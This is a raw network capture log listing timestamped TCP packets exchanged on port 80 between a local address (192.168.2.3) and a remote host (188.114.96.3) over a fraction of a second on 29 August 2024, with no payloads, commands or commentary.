Aug 29, 2024 12:14:40.708338976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708364964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708522081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708606958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708755016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708791018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708833933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708843946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708872080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708893061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708904028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708929062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708937883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708970070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.708973885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.708981991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709003925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709018946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709072113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709083080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709093094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709104061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709111929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709115028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709126949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709137917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709141016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709151983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709177017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709281921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709291935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709302902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709327936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709336996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709342957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709353924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709366083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709377050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709383011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709407091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709453106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709476948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709486961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709491968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709513903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709572077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709608078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709641933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709652901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709662914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709688902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709692001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709702015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709738016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709749937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709769011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709790945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709824085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709834099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709845066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709861994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709878922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709917068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709928036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709938049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.709959984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.709984064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.736749887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736761093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736771107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736788988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736799002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736809969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736814976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.736821890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736845970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.736859083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.736921072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736931086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736942053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736953974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736959934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.736973047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.736978054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737003088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737004995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737036943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737123966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737133980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737144947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737157106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737166882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737170935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737179041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737190008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737200022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737210989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737231016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737241030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737301111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737310886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737322092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737365961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737365961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737425089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737436056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737445116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737457037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737469912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737494946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737550020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737560987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737575054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737586021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737598896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737600088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737617970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737632990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737790108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737801075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737812042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737824917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737835884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737838984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737848043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737859011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737863064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737869978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737880945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737879992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737899065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737894058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737911940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.737926006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.737970114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.738039970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738050938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738060951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738073111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738076925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.738090992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738102913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.738112926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.738128901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.738152027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797614098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797637939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797648907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797658920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797671080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797683001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797694921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797707081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797756910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797825098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797825098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797825098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797841072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797858953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797878027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797889948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797893047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797913074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797936916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.797959089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797969103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797980070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.797990084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798006058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798022985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798037052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.798048019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.798058033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.798069000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.798068047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798079967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.798083067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798100948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.798124075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799186945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799213886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799225092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799247980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799271107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799299955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799310923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799320936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799330950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799341917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799343109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799365997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799380064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799818039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799829960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799849987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799853086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799865007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799865961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799877882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799885988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799895048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799901962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799911022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799916983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799922943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799930096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799943924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799957037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799959898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.799968004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799978971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.799993038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800003052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800017118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800034046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800043106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800052881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800064087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800062895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800082922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800096989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800123930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800134897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800148010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800152063 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800175905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800184965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800205946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800215006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800236940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800250053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800312996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800323963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800333977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800343037 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800357103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800378084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800543070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800555944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800575018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800579071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800590992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800592899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800605059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800611019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800625086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800642967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800709963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800720930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800731897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800743103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800756931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800782919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800829887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800846100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800857067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800862074 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800867081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800879002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800889015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800896883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800908089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800914049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800919056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800930977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800959110 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.800976992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.800991058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.801007986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.801032066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.827805996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.827835083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.827858925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.827919960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.827933073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.827950954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828025103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828035116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828044891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828057051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828068972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828073025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828073025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828073025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828090906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828103065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828155041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828166008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828176022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828186989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828191996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828223944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828242064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828311920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828322887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828332901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828344107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828347921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828355074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828370094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828386068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828439951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828450918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828461885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828471899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828474998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828491926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828499079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828526974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828596115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828607082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828618050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828628063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828629017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828639984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828654051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828675985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828732014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828742027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828752995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828763962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828763008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828785896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828813076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828825951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828838110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828874111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828948975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828959942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828969955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828982115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.828988075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.828994036 CEST	80	62660	188.114.96.3	192.168.2.3
